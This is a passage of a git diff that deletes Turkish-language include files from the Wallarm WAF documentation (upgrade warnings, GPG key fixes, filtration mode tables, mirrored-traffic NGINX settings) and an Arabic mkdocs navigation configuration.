belirtildiği NGINX yapılandırma bloğuyla eşleşmelidir. - * Düğümün tek bir isteği işlemesi için zaman sınırı (milisaniye): `wallarm_process_time_limit` değeri. - - !!! warning "Sistem belleğinin tükenme riski" - Yüksek zaman sınırı ve/veya sınır aşıldıktan sonra istek işlemeye devam edilmesi, bellek tükenmesine veya isteklerin zamanında işlenememesine yol açabilir. - - * Düğüm, [düğüm filtreleme moduna][waf-mode-instr] bağlı olarak `overlimit_res` saldırısını ya engeller ya da geçirir: - - * **monitoring** modunda, düğüm özgün isteği uygulama adresine iletir. Uygulama, işlenen ve işlenmeyen istek bölümlerine dahil olan saldırılar tarafından sömürülme riski taşır. - * **safe blocking** modunda, istek [graylisted][graylist-docs] IP adresinden geliyorsa düğüm isteği engeller. Aksi halde, düğüm özgün isteği uygulama adresine iletir. Uygulama, işlenen ve işlenmeyen istek bölümlerine dahil olan saldırılar tarafından sömürülme riski taşır. - * **block** modunda, düğüm isteği engeller. -1. `values.yaml` yapılandırma dosyasından `wallarm_process_time_limit` ve `wallarm_process_time_limit_block` NGINX yönergelerini silin. - - `overlimit_res` saldırı tespiti hem yönergeler hem de kural kullanılarak ince ayarlandıysa, düğüm istekleri kuralın belirlediği şekilde işleyecektir. \ No newline at end of file diff --git a/include-tr/waf/upgrade/migrate-to-overlimit-rule-nginx.md b/include-tr/waf/upgrade/migrate-to-overlimit-rule-nginx.md deleted file mode 100644 index 6a6887944c..0000000000 --- a/include-tr/waf/upgrade/migrate-to-overlimit-rule-nginx.md +++ /dev/null @@ -1,23 +0,0 @@ -Sürüm 3.6'dan itibaren, Wallarm Console içindeki kuralı kullanarak `overlimit_res` saldırı tespitine ince ayar yapabilirsiniz. - -Daha önce, [`wallarm_process_time_limit`][nginx-process-time-limit-docs] ve [`wallarm_process_time_limit_block`][nginx-process-time-limit-block-docs] NGINX yönergeleri kullanılıyordu. Yeni kuralın yayımlanmasıyla birlikte listelenen yönergeler kullanımdan kaldırılmış sayılır ve gelecekteki sürümlerde kaldırılacaktır. - -`overlimit_res` saldırı tespiti ayarları listelenen yönergelerle özelleştirildiyse, bunları aşağıdaki şekilde kurala taşımanız önerilir: - -1. Wallarm Console → **Rules WAF** bölümünü açın ve [**Limit request processing time**][overlimit-res-rule-docs] kuralı yapılandırmasına ilerleyin. -1. Kuralı NGINX yönergelerinde yaptığınız gibi yapılandırın: - - * Kural koşulu, `wallarm_process_time_limit` ve `wallarm_process_time_limit_block` yönergelerinin belirtildiği NGINX yapılandırma bloğu ile eşleşmelidir. - * Düğümün tek bir isteği işlemesi için zaman sınırı (milisaniye): `wallarm_process_time_limit` değeri. - - !!! warning "Sistem belleğinin tükenme riski" - Zaman sınırının yüksek olması ve/veya sınır aşıldıktan sonra isteğin işlenmesine devam edilmesi, bellek tükenmesine veya isteklerin zamanında işlenememesine yol açabilir. - - * Düğüm, [node filtration mode][waf-mode-instr] değerine bağlı olarak `overlimit_res` saldırısını engeller veya geçirir: - - * **monitoring** modunda düğüm orijinal isteği uygulama adresine iletir. Uygulama, hem işlenmiş hem de işlenmemiş istek parçalarına dahil edilen saldırılar tarafından istismar edilme riski taşır. - * **safe blocking** modunda, istek [graylisted][graylist-docs] IP adresinden geliyorsa düğüm isteği engeller. Aksi halde, düğüm orijinal isteği uygulama adresine iletir. Uygulama, hem işlenmiş hem de işlenmemiş istek parçalarına dahil edilen saldırılar tarafından istismar edilme riski taşır. - * **block** modunda düğüm isteği engeller. -1. NGINX yapılandırma dosyasından `wallarm_process_time_limit` ve `wallarm_process_time_limit_block` NGINX yönergelerini silin. - - `overlimit_res` saldırı tespiti hem yönergeler hem de kural kullanılarak ince ayar yapılıyorsa, düğüm istekleri kuralın belirlediği şekilde işler. \ No newline at end of file diff --git a/include-tr/waf/upgrade/warning-deprecated-version-upgrade-instructions.md b/include-tr/waf/upgrade/warning-deprecated-version-upgrade-instructions.md deleted file mode 100644 index 01a052a013..0000000000 --- a/include-tr/waf/upgrade/warning-deprecated-version-upgrade-instructions.md +++ /dev/null @@ -1,4 +0,0 @@ -!!! warning "Wallarm düğümleri 3.6 ve altı desteklenmiyor" - 3.6 ve altı Wallarm düğümlerini yükseltmeniz önerilir; bu sürümler [desteklenmiyor, kullanım ömürlerinin sonuna gelmiştir](../versioning-policy.md#version-list). - - Wallarm düğümünün en yeni sürümlerinde düğüm yapılandırması ve trafik filtreleme önemli ölçüde basitleştirilmiştir. Modülleri yükseltmeden önce lütfen [değişiklik listesi](what-is-new.md) ve [genel öneriler](../general-recommendations.md) belgelerini dikkatlice inceleyin. Lütfen en yeni düğümün bazı ayarlarının 3.6 ve altı düğümlerle **uyumsuz** olduğunu unutmayın. \ No newline at end of file diff --git a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.0.md b/include-tr/waf/upgrade/warning-expired-gpg-keys-4.0.md deleted file mode 100644 index ebbb152511..0000000000 --- a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.0.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "Hata "signatures couldn't be verified"" - Eklenmiş GPG anahtarlarının süresi dolduysa aşağıdaki hata döndürülür: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.0/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.0/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - Sorunu düzeltmek için, Wallarm paketleri için yeni GPG anahtarlarını içe aktarın ve ardından aşağıdaki komutları kullanarak paketleri yükseltin: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.2.md b/include-tr/waf/upgrade/warning-expired-gpg-keys-4.2.md deleted file mode 100644 index 0317d359f8..0000000000 --- a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.2.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning ""İmzalar doğrulanamadı" hatası" - Eklenen GPG anahtarlarının süresi dolduysa, aşağıdaki hata döndürülür: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.2/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - Sorunu düzeltmek için, Wallarm paketleri için yeni GPG anahtarlarını içe aktarın ve ardından aşağıdaki komutları kullanarak paketleri yükseltin: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.4.md b/include-tr/waf/upgrade/warning-expired-gpg-keys-4.4.md deleted file mode 100644 index 53f20fdbac..0000000000 --- a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.4.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "Hata "signatures couldn't be verified"" - Eklenen GPG anahtarlarının süresi dolduysa, aşağıdaki hata döndürülür: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.4/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - Sorunu düzeltmek için, lütfen Wallarm paketleri için yeni GPG anahtarlarını içe aktarın ve ardından aşağıdaki komutları kullanarak paketleri yükseltin: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.6.md b/include-tr/waf/upgrade/warning-expired-gpg-keys-4.6.md deleted file mode 100644 index f92360045d..0000000000 --- a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.6.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "“signatures couldn't be verified” hatası" - Eklenen GPG anahtarlarının süresi dolduysa aşağıdaki hata döndürülür: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.6/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - Sorunu çözmek için, Wallarm paketleri için yeni GPG anahtarlarını içe aktarın ve ardından aşağıdaki komutları kullanarak paketleri yükseltin: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.8.md b/include-tr/waf/upgrade/warning-expired-gpg-keys-4.8.md deleted file mode 100644 index db1ac02652..0000000000 --- a/include-tr/waf/upgrade/warning-expired-gpg-keys-4.8.md +++ /dev/null @@ -1,18 +0,0 @@ -!!! warning "“signatures couldn't be verified” hatası" - Eklenen GPG anahtarlarının süresi dolduysa, aşağıdaki hata iletilir: - - ``` - W: GPG error: https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ Release:The following - signatures couldn't be verified because the public key is not available: NO_PUBKEY 1111FQQW999 - E: The repository 'https://repo.wallarm.com/ubuntu/wallarm-node focal/4.8/ Release' is not signed. - N: Updating from such a repository can't be done securely, and is therefore disabled by default. - N: See apt-secure(8) manpage for repository creation and user configuration details. - ``` - - Sorunu gidermek için Wallarm paketleri için yeni GPG anahtarlarını içe aktarın ve ardından aşağıdaki komutlarla paketleri yükseltin: - - ``` - curl -fsSL https://repo.wallarm.com/wallarm.gpg | sudo apt-key add - - sudo apt update - sudo apt dist-upgrade - ``` \ No newline at end of file diff --git a/include-tr/waf/upgrade/warning-node-types-upgrade-to-3.4.md b/include-tr/waf/upgrade/warning-node-types-upgrade-to-3.4.md deleted file mode 100644 index 354e05bc28..0000000000 --- a/include-tr/waf/upgrade/warning-node-types-upgrade-to-3.4.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! warning "Farklı node türlerini yükseltmeye ilişkin uyumluluğu bozan değişiklikler ve öneriler" - * Wallarm node 2.18 veya daha düşük sürümden yükseltiyorsanız, 3.x sürümünün **uyumluluğu bozan değişiklikler** içerdiğini unutmayın. 2.18 ve altındaki modülleri 3.4'e yükseltmeden önce, [Wallarm node değişiklikleri](what-is-new.md) listesini dikkatle inceleyin ve olası bir yapılandırma değişikliğini değerlendirin. - * 3.2 veya daha düşük sürümdeki hem normal (client) hem de [çok kiracılı](../installation/multi-tenant/overview.md) node'ları 3.4 sürümüne yükseltmenizi öneririz. Bu, Wallarm sürümleriyle güncel kalmanızı sağlar ve [kurulu modülün kullanım dışı bırakılmasını](versioning-policy.md#version-support) önler. \ No newline at end of file diff --git a/include-tr/waf/upgrade/warning-node-types-upgrade-to-3.6.md b/include-tr/waf/upgrade/warning-node-types-upgrade-to-3.6.md deleted file mode 100644 index eb433eeda6..0000000000 --- a/include-tr/waf/upgrade/warning-node-types-upgrade-to-3.6.md +++ /dev/null @@ -1,3 +0,0 @@ -!!! warning "Uyumluluğu bozan değişiklikler ve farklı node türlerinin yükseltilmesine yönelik öneriler" - * Wallarm node 2.18 veya daha düşük bir sürümden yükseltiyorsanız, 3.x sürümünün **uyumluluğu bozan değişiklikler** içerdiğini lütfen unutmayın. 2.18 ve altındaki modülleri 3.6'ya yükseltmeden önce, [Wallarm node değişiklikleri](older-versions/what-is-new.md) listesini dikkatle inceleyin ve olası bir yapılandırma değişikliğini değerlendirin. - * Hem normal (client) hem de [çok kiracılı](../installation/multi-tenant/overview.md) node'ları 3.6 sürümüne yükseltmenizi öneririz. Bu, Wallarm sürümleriyle güncel kalmanızı ve [yüklü modülün kullanımdan kaldırılmasını](versioning-policy.md#version-support) önlemeyi sağlar. \ No newline at end of file diff --git a/include-tr/wallarm-cloud-ips.md b/include-tr/wallarm-cloud-ips.md deleted file mode 100644 index 33a5b45646..0000000000 --- a/include-tr/wallarm-cloud-ips.md +++ /dev/null @@ -1,15 +0,0 @@ -=== "ABD Bulutu" - ``` - 34.96.64.17 - 34.110.183.149 - 35.235.66.155 - 34.102.90.100 - 34.94.156.115 - 35.235.115.105 - ``` -=== "AB Bulutu" - ``` - 34.160.38.183 - 34.144.227.90 - 34.90.110.226 - ``` \ No newline at end of file diff --git a/include-tr/wallarm-modes-description-3.6.md b/include-tr/wallarm-modes-description-3.6.md deleted file mode 100644 index 5462289bab..0000000000 --- a/include-tr/wallarm-modes-description-3.6.md +++ /dev/null @@ -1,11 +0,0 @@ -| Wallarm düğümünün davranışı | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| Gelen isteklerin aşağıdaki türlerden kötü amaçlı payload içerip içermediğini analiz eder: [girdi doğrulama saldırıları](../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [vpatch saldırıları](../user-guides/rules/vpatch-rule.md) veya [düzenli ifadelere dayalı olarak tespit edilen saldırılar](../user-guides/rules/regex-rule.md) | - | + | + | + | -| Kötü amaçlı istekleri, olay listesinde görüntülenmeleri için Wallarm Cloud'a yükler | - | + | + | + | -| Kötü amaçlı istekleri engeller | - | - | Yalnızca [Graylist'teki IP'lerden](../user-guides/ip-lists/graylist.md) gelenler | + | -| [Denylist'teki IP'lerden](../user-guides/ip-lists/denylist.md) gelen istekleri engeller istisnalara bakın | Denylist'i analiz etmez | - | + | + | -| [Graylist'teki IP'lerden](../user-guides/ip-lists/graylist.md) gelen istekleri engeller | Graylist'i analiz etmez | - | Yalnızca kötü amaçlı payload içerenler | Graylist'i analiz etmez | -| [Allowlist'teki IP'lerden](../user-guides/ip-lists/allowlist.md) gelen isteklere izin verir | Allowlist'i analiz etmez | + | + | + | - -!!! warning "İstisnalar" - Eğer [`wallarm_acl_access_phase on`][acl-access-phase] ise, Denylist'teki IP'lerden gelen istekler `off` ve `monitoring` dahil herhangi bir modda engellenir \ No newline at end of file diff --git a/include-tr/wallarm-modes-description-5.0.md b/include-tr/wallarm-modes-description-5.0.md deleted file mode 100644 index 6cc1433a43..0000000000 --- a/include-tr/wallarm-modes-description-5.0.md +++ /dev/null @@ -1,11 +0,0 @@ -| Wallarm düğüm davranışı | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| Gelen istekleri [girdi doğrulama](../attacks-vulns-list.md#attack-types), [sanal yama](../user-guides/rules/vpatch-rule.md) ve [regex tabanlı](../user-guides/rules/regex-rule.md) kötü amaçlı yükler açısından analiz eder | - | + | + | + | -| Kötü amaçlı istekleri olay listesinde görüntülenmeleri için Wallarm Cloud'a yükler | - | + | + | + | -| Kötü amaçlı istekleri engeller | - | - | Yalnızca [graylisted IPs](../user-guides/ip-lists/overview.md) kaynaklı olanlar | + | -| [denylisted IPs](../user-guides/ip-lists/overview.md) kaynaklı istekleri engelleristisnaya bakın
              (IP'ler, [multi-attack protection](../admin-en/configuration-guides/protecting-with-thresholds.md) ve davranışsal koruma tarafından manuel ve otomatik olarak eklenenler: [API abuse prevention](../api-abuse-prevention/setup.md), [manual BOLA](../admin-en/configuration-guides/protecting-against-bola-trigger.md), [brute force](../admin-en/configuration-guides/protecting-against-bruteforce.md) ve [forced browsing](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md)) | - | + | + | + | -| [graylisted IPs](../user-guides/ip-lists/overview.md) kaynaklı istekleri engeller
              (IP'ler, denylist için geçerli olanlarla aynı koruma önlemleri tarafından manuel ve otomatik olarak eklenir) | - | - | Yalnızca kötü amaçlı yük içerenler | - | -| [allowlisted IPs](../user-guides/ip-lists/overview.md) kaynaklı isteklere izin verir | - | + | + | + | - -!!! warning "Denylist için istisna" - Eğer [`wallarm_acl_access_phase off`][acl-access-phase] ise, Wallarm düğümü `monitoring` modunda denylisted IPs kaynaklı istekleri engellemez. \ No newline at end of file diff --git a/include-tr/wallarm-modes-description-latest.md b/include-tr/wallarm-modes-description-latest.md deleted file mode 100644 index 8af0bb4ac4..0000000000 --- a/include-tr/wallarm-modes-description-latest.md +++ /dev/null @@ -1,11 +0,0 @@ -| Wallarm düğümü davranışı | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| Gelen istekleri [girdi doğrulaması](../attacks-vulns-list.md#attack-types), [sanal yama](../user-guides/rules/vpatch-rule.md) ve [regex tabanlı](../user-guides/rules/regex-rule.md) kötü amaçlı yükler için analiz eder | - | + | + | + | -| Kötü amaçlı istekleri olay listesinde görüntülenmeleri için Wallarm Cloud'a yükler | - | + | + | + | -| Kötü amaçlı istekleri engeller | - | - | Yalnızca [gri listeye alınmış IP'ler](../user-guides/ip-lists/overview.md)den gelenler | + | -| [denylisted IP'ler](../user-guides/ip-lists/overview.md)den gelen istekleri engellerbkz. istisna
              ([çoklu saldırı koruması](../admin-en/configuration-guides/protecting-with-thresholds.md) ve davranışsal koruma: [API kötüye kullanımının önlenmesi](../api-abuse-prevention/setup.md), [manuel BOLA](../admin-en/configuration-guides/protecting-against-bola-trigger.md), [kaba kuvvet](../admin-en/configuration-guides/protecting-against-bruteforce.md), [zorla gezinme](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) ve [genel numaralandırma](../api-protection/enumeration-attack-protection.md) tarafından manuel ve otomatik olarak eklenen IP'ler) | - | + | + | + | -| [gri listeye alınmış IP'ler](../user-guides/ip-lists/overview.md)den gelen istekleri engeller
              (IP'ler, denylist için geçerli olan aynı koruma önlemleriyle manuel ve otomatik olarak eklenir) | - | - | Yalnızca kötü amaçlı yük içerenler | - | -| [izinli listedeki IP'ler](../user-guides/ip-lists/overview.md)den gelen isteklere izin verir | - | + | + | + | - -!!! warning "Denylist için istisna" - Eğer [`wallarm_acl_access_phase off`][acl-access-phase] ise, Wallarm düğümü `monitoring` modunda denylist'teki IP'lerden gelen istekleri engellemez. \ No newline at end of file diff --git a/include-tr/wallarm-modes-description.md b/include-tr/wallarm-modes-description.md deleted file mode 100644 index 21bff7d95a..0000000000 --- a/include-tr/wallarm-modes-description.md +++ /dev/null @@ -1,8 +0,0 @@ -| Wallarm düğüm davranışı | `off` | `monitoring` | `safe_blocking` |`block` | -| -------- | - | - | - | -| -| Gelen isteklerin aşağıdaki türlerden kötü amaçlı yükler içerip içermediğini analiz eder: [girdi doğrulama saldırıları](../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [vpatch saldırıları](../user-guides/rules/vpatch-rule.md) veya [düzenli ifadelere dayalı olarak tespit edilen saldırılar](../user-guides/rules/regex-rule.md) | - | + | + | + | -| Kötü amaçlı istekleri Wallarm Cloud'a yükleyerek olay listesinde görüntülenmelerini sağlar | - | + | + | + | -| Kötü amaçlı istekleri engeller | - | - | Yalnızca [graylisted IP'lerden](../user-guides/ip-lists/overview.md) gelenler | + | -| [Denylisted IP'lerden](../user-guides/ip-lists/overview.md) gelen istekleri engeller | - | - | + | + | -| [Graylisted IP'lerden](../user-guides/ip-lists/overview.md) gelen istekleri engeller | - | - | Yalnızca kötü amaçlı yükler içerenler | - | -| [Allowlisted IP'lerden](../user-guides/ip-lists/overview.md) gelen isteklere izin verir | - | + | + | + | \ No newline at end of file diff --git a/include-tr/wallarm-node-configuration-for-mirrored-traffic-3.6.md b/include-tr/wallarm-node-configuration-for-mirrored-traffic-3.6.md deleted file mode 100644 index 9757527054..0000000000 --- a/include-tr/wallarm-node-configuration-for-mirrored-traffic-3.6.md +++ /dev/null @@ -1,24 +0,0 @@ -Wallarm düğümünün yansıtılan trafiği işlemesi için aşağıdaki yapılandırmayı ayarlayın: - -``` -wallarm_force server_addr $http_x_server_addr; -wallarm_force server_port $http_x_server_port; -#222.222.222.22 değerini yansıtma sunucusunun adresiyle değiştirin -set_real_ip_from 222.222.222.22; -real_ip_header X-Forwarded-For; -#real_ip_recursive on; -wallarm_force response_status 0; -wallarm_force response_time 0; -wallarm_force response_size 0; -``` - -* Saldırganların IP adreslerinin Wallarm Console'da görüntülenebilmesi için [`real_ip_header`](../../using-proxy-or-balancer-en.md) yönergesi gereklidir. -* Yansıtılan trafikten alınan kopyalar dışındaki tüm isteklerin analizini devre dışı bırakmak için `wallarm_force_response_*` yönergeleri gereklidir. -* Kötü amaçlı istekler [engellenemez](overview.md#limitations-of-mirrored-traffic-filtration) olduğundan, `wallarm_mode` yönergesi veya Wallarm Cloud safe ya da regular blocking mode'u ayarlasa bile (off olarak ayarlanan mod dışında), Wallarm düğümü istekleri her zaman monitoring [mode](../../configure-wallarm-mode.md)'da analiz eder. - -Yansıtılan trafiğin işlenmesi yalnızca NGINX tabanlı düğümler tarafından desteklenir. Verilen yapılandırmayı aşağıdaki şekilde uygulayabilirsiniz: - -* Düğümü DEB/RPM paketlerinden kuruyorsanız - NGINX yapılandırma dosyası `/etc/nginx/conf.d/default.conf` içinde. -* Düğümü [AWS](../../installation-ami-en.md) veya [GCP](../../installation-gcp-en.md) bulut imajından dağıtıyorsanız - NGINX yapılandırma dosyası `/etc/nginx/nginx.conf` içinde. -* Düğümü [Docker imajı](../../installation-docker-en.md) ile dağıtıyorsanız - verilen yapılandırmayı içeren dosyayı konteynere bağlayın. -* Düğümü [Ingress controller](../../installation-kubernetes-en.md) olarak çalıştırıyorsanız - sağlanan yapılandırmayı içeren ConfigMap'i bir pod'a bağlayın. \ No newline at end of file diff --git a/include-tr/wallarm-node-configuration-for-mirrored-traffic.md b/include-tr/wallarm-node-configuration-for-mirrored-traffic.md deleted file mode 100644 index 1a3d2dc0f5..0000000000 --- a/include-tr/wallarm-node-configuration-for-mirrored-traffic.md +++ /dev/null @@ -1,23 +0,0 @@ -Wallarm düğümünün yansıtılan trafiği işlemesi için aşağıdaki yapılandırmayı ayarlayın: - -``` -wallarm_force server_addr $http_x_server_addr; -wallarm_force server_port $http_x_server_port; -#Yansıtma sunucusunun adresiyle 222.222.222.22 değerini değiştirin -set_real_ip_from 222.222.222.22; -real_ip_header X-Forwarded-For; -#real_ip_recursive on; -wallarm_force response_status 0; -wallarm_force response_time 0; -wallarm_force response_size 0; -``` - -* [real_ip_header](../../using-proxy-or-balancer-en.md) yönergesi, Wallarm Console'un saldırganların IP adreslerini görüntüleyebilmesi için gereklidir. -* `wallarm_force_response_*` yönergeleri, yansıtılan trafikten alınan kopyalar dışındaki tüm isteklerin analizini devre dışı bırakmak için gereklidir. -* Kötü amaçlı istekler [engellenemez](overview.md#limitations-of-mirrored-traffic-filtration) olduğundan, `wallarm_mode` yönergesi veya Wallarm Cloud güvenli ya da normal engelleme modunu ayarlamış olsa bile (off olarak ayarlanan mod dışında), Wallarm düğümü istekleri her zaman izleme [modu](../../configure-wallarm-mode.md)nda analiz eder. - -Yansıtılan trafiğin işlenmesi yalnızca NGINX tabanlı düğümler tarafından desteklenir. Sağlanan yapılandırmayı şu şekilde ayarlayabilirsiniz: - -* Düğümü hepsi-bir-arada yükleyici, [AWS](../../installation-ami-en.md) veya [GCP](../../installation-gcp-en.md) bulut imajından dağıtıyorsanız - `/etc/nginx/nginx.conf` NGINX yapılandırma dosyasında. -* Düğümü [Docker image](../../installation-docker-en.md) ile dağıtıyorsanız - sağlanan yapılandırmayı içeren dosyayı konteynere bağlayın. -* Düğümü [Sidecar](../../../installation/kubernetes/sidecar-proxy/deployment.md) veya [Ingress controller](../../installation-kubernetes-en.md) olarak çalıştırıyorsanız - sağlanan yapılandırmayı içeren ConfigMap'i bir pod'a bağlayın. \ No newline at end of file diff --git a/mkdocs-ar-4.10.yml b/mkdocs-ar-4.10.yml deleted file mode 100644 index 4c24bbfe45..0000000000 --- a/mkdocs-ar-4.10.yml +++ /dev/null @@ -1,362 +0,0 @@ -INHERIT: mkdocs-base.yml - -site_name: توثيق وولارم -site_url: https://docs.wallarm.com/ar/ -site_description: حل وولارم بيحمي واجهات برمجة التطبيقات (APIs)، والمايكروسيرفيسيز، وتطبيقات الويب من تهديدات أوبتوب 10 الخاصة بـ OWASP لواجهات برمجة التطبيقات، وسوء استخدام الـAPI، وغيرها من التهديدات الآلية من غير ما يحتاج لضبط قواعد يدوي وكمان بنسبة أخطاء زائفة قليلة جدًا. - -copyright: 'شروط الخدمة | سياسة الخصوصية | سياسة ملفات تعريف الارتباط | إعدادات ملفات تعريف الارتباط | 2026 © Wallarm Inc.' - -extra: - analytics: - feedback: - title: هل كانت هذه الصفحة مفيدة؟ - ratings: - - icon: /ar/images/happy-feedback.png - name: هذه الصفحة كانت مفيدة - data: 1 - note: >- - شكرا لملاحظاتك! - - icon: /ar/images/disappointed-feedback.png - name: يمكن تحسين هذه الصفحة - data: 0 - note: >- - شكرا لملاحظاتك! - negative: - ask_reason: كيف يمكننا تحسين هذه المقالة؟ (خياري) - unclear: المعلومات غير واضحة أو محيرة - missing: معلومات غير كافية - outdated: معلومات قديمة أو غير صحيحة - input_placeholder: شارك تجربتك بمزيد من التفاصيل - send_button: يرسل - consent: - title: موافقة ملفات تعريف الارتباط - description: نحن نستخدم ملفات تعريف الارتباط لتحسين وثائقنا وجمع التعليقات القيمة. موافقتك تساعدنا على التحسن! تعرف على المزيد في سياسة ملفات تعريف الارتباط. - -theme: - language: ar - logo: ../images/wallarm-logo-new.svg - favicon: favicon.png - -extra: - language_lowercase: ar - language_name: Arabic - version: "4.10" - playground_button_name: "استكشف الملعب" - try_button_name: "جرّب مجانًا" - footer: - need_help: هل تحتاج إلى مساعدة أو لديك أسئلة؟ - contact_support: اتصل بالدعم - contact_sales: مبيعات الاتصال - -docs_dir: docs/ar -site_dir: site/ar - -# Translated docs are auto-generated from the English sources; we do not edit -# them by hand. Disable link-validation checks so stale or version-mismatched -# refs in translations do not produce warnings until the regeneration catches -# up. Keep absolute/unrecognized/unused as in the base config. -validation: - absolute_links: ignore - unrecognized_links: ignore - unused_definitions: false - unresolved_references: false - shadowed_definitions: false - invalid_links: false - invalid_link_anchors: false - -nav: - - مقدمة: - - البدء السريع: - - نظرة عامة على Wallarm: about-wallarm/overview.md - - البدء: quickstart/getting-started.md - - دلائل الفيديو: - - نظرة عامة على اكتشاف API: demo-videos/api-discovery.md - - نظرة عامة على تسربات API: demo-videos/api-leaks.md - - واجهة برمجة التطبيقات الظل واليتيمة: demo-videos/shadow-api.md - - تحليل الضعف والهجمات ذات الصلة: demo-videos/events-inspection.md - - نظرة عامة على منع سوء استخدام API: demo-videos/api-abuse-prevention.md - - إعدادات منصة Wallarm: demo-videos/overview.md - - اكتشاف API: - - نظرة عامة: api-discovery/overview.md - - استكشاف واجهات API: - - استكشاف جرد API: api-discovery/exploring.md - - لوحة التحكم: api-discovery/dashboard.md - - تتبع التغييرات في API: api-discovery/track-changes.md - - تحليل المخاطر: - - درجة المخاطر لنقاط النهاية: api-discovery/risk-score.md - - واجهة برمجة التطبيقات الظلية، اليتيمة، والزومبي: api-discovery/rogue-api.md - - حماية البيانات: - - حماية BOLA التلقائية: api-discovery/bola-protection.md - - التنصيب: api-discovery/setup.md - - حماية API: - - نظرة عامة: about-wallarm/api-protection-overview.md - - أفضل الممارسات: quickstart/attack-prevention-best-practices.md - - حماية محددة لـ API: - - حماية BOLA يدوية: admin-en/configuration-guides/protecting-against-bola-trigger.md - - حماية BOLA(APID): admin-en/configuration-guides/protecting-against-bola.md - - حماية API لـ GraphQL: api-protection/graphql-rule.md - - إدارة البوتات: - - نظرة عامة: api-abuse-prevention/overview.md - - إدارة الملف الشخصي لمنع سوء استخدام API: api-abuse-prevention/setup.md - - استكشاف البوتات المكتشفة: api-abuse-prevention/exploring-bots.md - - استثناءات: api-abuse-prevention/exceptions.md - - تطبيق مواصفات API: - - نظرة عامة: api-specification-enforcement/overview.md - - إعداد: api-specification-enforcement/setup.md - - عرض الأحداث: api-specification-enforcement/viewing-events.md - - حماية البيانات الاعتمادية: - - اكتشاف تزوير البيانات: about-wallarm/credential-stuffing.md - - حماية من التهديدات (WAAP): - - نظرة عامة: about-wallarm/waap-overview.md - - نظرة عامة: about-wallarm/protecting-against-attacks.md - - حماية Brute Force: admin-en/configuration-guides/protecting-against-bruteforce.md - - حماية Forced Browsing: admin-en/configuration-guides/protecting-against-forcedbrowsing.md - - حماية Multi-Attack: admin-en/configuration-guides/protecting-with-thresholds.md - - حماية DDoS: admin-en/configuration-guides/protecting-against-ddos.md - - تصفية بحسب IP: user-guides/ip-lists/overview.md - - وضع الترشيح: admin-en/configure-wallarm-mode.md - - القواعد والسياسات: - - القواعد: user-guides/rules/rules.md - - الحد من المعدل: user-guides/rules/rate-limiting.md - - التصحيح الافتراضي: user-guides/rules/vpatch-rule.md - - المكتشفات المحددة من قبل المستخدم: user-guides/rules/regex-rule.md - - تجنب البيانات الحساسة: user-guides/rules/sensitive-data-rule.md - - تحليل الطلبات: user-guides/rules/request-processing.md - - تغيير رؤوس الرد: user-guides/rules/add-replace-response-header.md - - الحد من وقت معالجة الطلب: user-guides/rules/configure-overlimit-res-detection.md - - اختبار أمان API: - - اختبار إعادة تشغيل التهديدات: - - ملخص: vulnerability-detection/threat-replay-testing/overview.md - - يثبت: vulnerability-detection/threat-replay-testing/setup.md - - نتائج الاختبار: vulnerability-detection/threat-replay-testing/exploring.md - - الاختبار القائم على المخطط: - - نظرة عامة: vulnerability-detection/schema-based-testing/overview.md - - إعداد: 